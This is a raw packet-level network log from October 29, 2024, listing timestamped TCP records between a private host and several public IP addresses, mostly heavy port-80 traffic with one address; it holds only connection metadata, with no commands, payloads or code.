Oct 29, 2024 02:46:42.132045031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132051945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132071018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132077932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132102966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132127047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132128000 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132128000 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132153988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132172108 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.132175922 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132220030 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.132225990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132250071 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132273912 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132308960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132332087 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132333994 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132349968 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132359028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132384062 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132405996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132405996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132410049 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132451057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132476091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132499933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132523060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132545948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132577896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132580996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132603884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132627964 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132628918 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132647038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132652044 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132669926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132680893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.132692099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.132733107 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.140697002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140723944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140741110 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140780926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.140801907 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.140805006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140822887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140841961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140855074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.140858889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140873909 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.140882015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.140892982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.140921116 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.140947104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.146996021 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.147047043 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.147269011 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.147486925 CET	49911	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.147517920 CET	443	49911	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.149115086 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.149136066 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.149295092 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.149472952 CET	49912	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.149482965 CET	443	49912	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.151524067 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.151551008 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.151602983 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.151840925 CET	49913	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.151856899 CET	443	49913	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.156864882 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:42.156941891 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:42.157088995 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:42.157768011 CET	49914	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:42.157798052 CET	443	49914	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:42.159171104 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.159189939 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.215142965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215193987 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215245962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215245962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.215296984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215307951 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.215351105 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215351105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.215400934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215429068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.215435028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215449095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.215468884 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215521097 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.215521097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215559959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.215663910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216408968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216459036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216487885 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216491938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216509104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216542959 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216551065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216577053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216628075 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216660976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216686010 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216694117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216710091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216741085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216772079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216777086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216777086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216804981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216836929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216864109 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216871023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216916084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216921091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216949940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.216973066 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.216984987 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.217025042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236336946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236371994 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236423016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236455917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236469984 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236469984 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236489058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236521006 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236521959 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236522913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236547947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236558914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236588001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.236614943 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236614943 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.236634970 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.250839949 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.252980947 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.255100965 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.255104065 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.255197048 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.257628918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257682085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257730961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257750988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.257766008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257783890 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.257818937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257823944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.257853031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257863998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.257886887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257920980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257941008 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.257953882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.257966042 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.257987976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.258183002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.278783083 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.278851032 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.279011011 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.279232025 CET	49916	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.279275894 CET	443	49916	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.279326916 CET	49916	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.279695988 CET	49915	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.279727936 CET	443	49915	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.279855967 CET	49916	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:42.279870987 CET	443	49916	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:42.285783052 CET	49917	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:42.285808086 CET	443	49917	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:42.286120892 CET	49917	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:42.286559105 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.286607981 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.286710024 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.286884069 CET	49917	443	192.168.2.5	20.125.209.212
Oct 29, 2024 02:46:42.286897898 CET	443	49917	20.125.209.212	192.168.2.5
Oct 29, 2024 02:46:42.287018061 CET	49918	443	192.168.2.5	18.160.172.81
Oct 29, 2024 02:46:42.287049055 CET	443	49918	18.160.172.81	192.168.2.5
Oct 29, 2024 02:46:42.289526939 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.289536953 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.289741039 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.290707111 CET	49919	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.290718079 CET	443	49919	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.297352076 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.297368050 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.297977924 CET	49906	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.297982931 CET	443	49906	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.298295975 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.298304081 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.298933029 CET	49907	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.298938036 CET	443	49907	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.299096107 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.299115896 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.299367905 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.299381971 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.299900055 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.299906969 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.300395012 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.300405979 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.300714016 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.300728083 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.301204920 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:42.301214933 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:42.331846952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.331940889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.331970930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332006931 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.332021952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332058907 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.332068920 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.332075119 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332108974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332159996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332171917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.332210064 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332243919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332262993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.332277060 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332312107 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332319975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.332345963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332354069 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.332412004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.332463980 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333061934 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333096027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333132029 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333146095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333158016 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333194971 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333229065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333265066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333273888 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333314896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333327055 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333364964 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333398104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333399057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333409071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333430052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333447933 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333462954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333477974 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333514929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333549023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333560944 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333594084 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333611012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333626986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333656073 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333661079 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333669901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333693981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333724976 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333729029 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333736897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333761930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333781004 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333796024 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.333803892 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.333909035 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.334708929 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.334717989 CET	443	49920	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.334784985 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.337208986 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.337256908 CET	443	49921	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.337317944 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.339024067 CET	49921	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.339051008 CET	443	49921	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.339672089 CET	49920	443	192.168.2.5	23.218.224.10
Oct 29, 2024 02:46:42.339684010 CET	443	49920	23.218.224.10	192.168.2.5
Oct 29, 2024 02:46:42.341610909 CET	49922	443	192.168.2.5	204.79.197.219
Oct 29, 2024 02:46:42.341631889 CET	443	49922	204.79.197.219	192.168.2.5
Oct 29, 2024 02:46:42.341800928 CET	49922	443	192.168.2.5	204.79.197.219
Oct 29, 2024 02:46:42.342001915 CET	49922	443	192.168.2.5	204.79.197.219
Oct 29, 2024 02:46:42.342012882 CET	443	49922	204.79.197.219	192.168.2.5
Oct 29, 2024 02:46:42.343421936 CET	49923	443	192.168.2.5	204.79.197.219
Oct 29, 2024 02:46:42.343430996 CET	443	49923	204.79.197.219	192.168.2.5
Oct 29, 2024 02:46:42.343502998 CET	49923	443	192.168.2.5	204.79.197.219
Oct 29, 2024 02:46:42.343779087 CET	49923	443	192.168.2.5	204.79.197.219
Oct 29, 2024 02:46:42.343791962 CET	443	49923	204.79.197.219	192.168.2.5
Oct 29, 2024 02:46:42.353354931 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353374004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353404045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353427887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353452921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.353460073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353477001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353487015 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.353507996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353516102 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.353523970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353539944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.353547096 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.353568077 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.353581905 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.357227087 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.357285976 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.357306957 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.357326031 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.357363939 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.357367039 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.357383966 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.357398033 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.357412100 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.357414961 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.357434034 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.357464075 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.359220028 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.359272957 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.359287977 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.359297991 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.359325886 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.359352112 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.360584021 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.360634089 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.374620914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374634981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374650955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374700069 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.374708891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374737024 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.374763966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374778986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374780893 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.374804974 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.374809980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374825954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374840021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374849081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.374855995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.374875069 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.374898911 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.405443907 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.405514002 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.405525923 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.405587912 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.405643940 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.424674988 CET	443	49908	13.107.246.45	192.168.2.5
